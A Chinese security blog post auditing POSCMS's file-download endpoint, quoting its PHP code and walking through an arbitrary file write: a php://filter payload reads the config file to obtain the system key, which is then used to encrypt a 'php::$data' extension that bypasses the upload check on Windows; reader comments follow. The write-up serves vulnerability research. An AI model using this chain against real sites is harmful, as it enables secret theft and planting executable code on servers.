poscms任意文件写入
首页 > web安全 > 代码审计    作者:webbaozi   2019年1月31日 12:07 星期四   热度:830°   百度已收录  
时间:2019-1-31 12:07   热度:830° 

根据文章:https://mp.weixin.qq.com/s/K23ZTc34FyyPJGs3ZcS0HA

加密脚本:http://www.webbaozi.com/cms/poscms.php

文章中针对的是linux,这里以尝试windows

在代码中

// 文件下载并上传
    public function down_file() {

        // 获取url中的上传参数
        $p = array();
        $url = explode('&', $this->input->post('url'));
        foreach ($url as $t) {
            $item = explode('=', $t);
            $p[$item[0]] = $item[1];
        }
        !$this->uid && exit(dr_json(0, fc_lang('游客不允许上传附件')));

        // 会员组权限
        $member_rule = $this->get_cache('member', 'setting', 'permission', $this->member['mark']);

        // 是否允许上传附件
        !$this->member['adminid'] && !$member_rule['is_upload'] && exit(dr_json(0, fc_lang('您的会员组无权上传附件')));

        // 附件总大小判断
        if (!$this->member['adminid'] && $member_rule['attachsize']) {
            $data = $this->db->select_sum('filesize')->where('uid', $this->uid)->get('attachment')->row_array();
            $filesize = (int)$data['filesize'];
            $filesize > $member_rule['attachsize'] * 1024 * 1024 && exit(dr_json(0, fc_lang('附件空间不足!您的附件总空间%s,现有附件%s。', $member_rule['attachsize'].'MB', dr_format_file_size($filesize))));
        }
        list($size, $ext, $path) = explode('|', dr_authcode($p['code'], 'DECODE'));
        $path = $path ? SYS_UPLOAD_PATH.'/'.$path.'/' : SYS_UPLOAD_PATH.'/'.date('Ym', SYS_TIME).'/';
        !is_dir($path) && dr_mkdirs($path);

        $furl = $this->input->post('file');
        $file = dr_catcher_data($furl);
        !$file && exit(dr_json(0, '获取远程文件失败'));


        $fileext = strtolower(trim(substr(strrchr($furl, '.'), 1, 10))); //扩展名
        var_dump($fileext);
        var_dump($ext);
        $exts = (array)explode(',', $ext);
        var_dump($exts);
        !in_array($fileext, $exts) && exit(dr_json(0, '远程文件扩展名1('.$fileext.')不允许'));
        $fileext == 'php' && exit(dr_json(0, '远程文件扩展名2('.$fileext.')不允许'));

        $filename = substr(md5(time()), 0, 7).rand(100, 999);
        if (@file_put_contents($path.$filename.'.'.$fileext, $file)) {
            $info = array(
                'file_ext' => '.'.$fileext,
                'full_path' => $path.$filename.'.'.$fileext,
                'file_size' => filesize($path.$filename.'.'.$fileext)/1024,
                'client_name' => '',
            );
            $this->load->model('attachment_model');
            $this->attachment_model->siteid = $p['siteid'] ? $p['siteid'] : SITE_ID;
            $result = $this->attachment_model->upload($this->uid, $info);
            if (is_array($result)) {
                list($id) = $result;
                echo json_encode(array('status'=>1, 'id'=>$id, 'name' => dr_strcut($filename, 10).'.'.$fileext));exit;
            } else {
                @unlink($info['full_path']);
                exit(dr_json(0, $result));
            }
        } else {
            exit(dr_json(0, '文件移动失败,目录无权限('.$path.')'));
        }
    }

校验了用户属性,所以要有上传权限,默认会员就有。

1.获取文件,跟进dr_catcher_data($furl);

function dr_catcher_data($url) {

    // fopen模式
    if (ini_get('allow_url_fopen')) {
//        echo "1111111111111111111";
        $data = @file_get_contents($url);
//        var_dump($data);
        if ($data !== FALSE) {
            return $data;
        }
    }

    // curl模式
    if (function_exists('curl_init') && function_exists('curl_exec')) {
        //var_dump($url);
        $ch = curl_init($url);
        $data = '';
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $data = curl_exec($ch);
        curl_close($ch);
        return $data;
    }

    return NULL;
}

有fopen与curl,先使用fopen如果为false在使用curl

这里要获取config配置文件

file=php://filter/read=convert.base64-encode/resource=./config/system.php.

访问文件

通过base64解密

得到syskey

function dr_authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

    if (!$string) {
        return '';
    }

    $ckey_length = 4;

    $key = md5($key ? $key : SYS_KEY);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';

    $cryptkey = $keya . md5($keya . $keyc);
    $key_length = strlen($cryptkey);

    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
    $string_length = strlen($string);

    $result = '';
    $box = range(0, 255);

    $rndkey = array();
    for ($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }

    for ($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }

    for ($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result.= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }

    if ($operation == 'DECODE') {
        if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    } else {
        return $keyc . str_replace('=', '', base64_encode($result));
    }
}

所以只要对后缀进行加密就行了。

这里利用windows特性

加密php::$data

绕过对后缀名的检测

访问地址:

二维码加载中...
本文作者:webbaozi      文章标题: poscms任意文件写入
本文地址:http://www.webbaozi.com/dmsj/111.html
版权声明:若无注明,本文皆为“baozi|学与用”原创,转载请保留文章出处。
妙文屋2019-03-28 17:30
不错不错,来看看。。
丘八2019-03-19 18:54
文章不错,非常喜欢
免费节点2019-03-26 16:33
@丘八:作为新手看这个文章非常的有用啊。。。
helen2019-02-21 23:07
是啊 linux环境
webbaozi2019-02-25 14:59
@helen:linux环境没测,你尝试跟跟微信那篇文章试试
helen2019-02-17 23:20
{"status":0,"code":"\u6e38\u5ba2\u4e0d\u5141\u8bb8\u4e0a\u4f20\u9644\u4ef6","id":0}
游客不允许上传附件 我登录了 把cookie放进去了也是这样 这是补了漏洞吗
webbaozi2019-02-19 13:48
@helen:linux环境?
免费SSR节点2019-02-07 14:26
作为新手看这个文章非常的有用啊。。。

返回顶部    首页    手机版本   
版权所有:baozi|学与用    站长: webbaozi  蜀ICP备16032848号-1